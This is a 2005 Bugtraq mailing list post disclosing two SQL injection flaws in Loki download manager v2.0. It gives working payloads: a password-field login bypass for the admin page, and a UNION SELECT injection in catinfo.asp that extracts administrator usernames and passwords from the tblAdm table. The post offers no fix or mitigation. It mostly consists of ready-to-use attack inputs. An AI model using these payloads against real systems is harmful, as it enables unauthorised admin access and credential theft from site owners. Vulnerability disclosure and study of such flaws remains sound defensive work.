Bugtraq mailing list archives

2 SQL injection in Loki download manager v2.0

From: hack_912 () hotmail com
Date: 8 Jun 2005 16:25:37 -0000

hi all

tow SQL injection in Loki download manager

1. in http://localhost/adm/default.asp

user: anyuser
pass: 'or''='

2. in http://localhost/downmancv/catinfo.asp?cat=&apos; union select 
null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm '

and u will have user and pass h4ve F4n

Salmanooh

hack_912 () hotmail com

Current thread:

2 SQL injection in Loki download manager v2.0 hack_912 (Jun 08)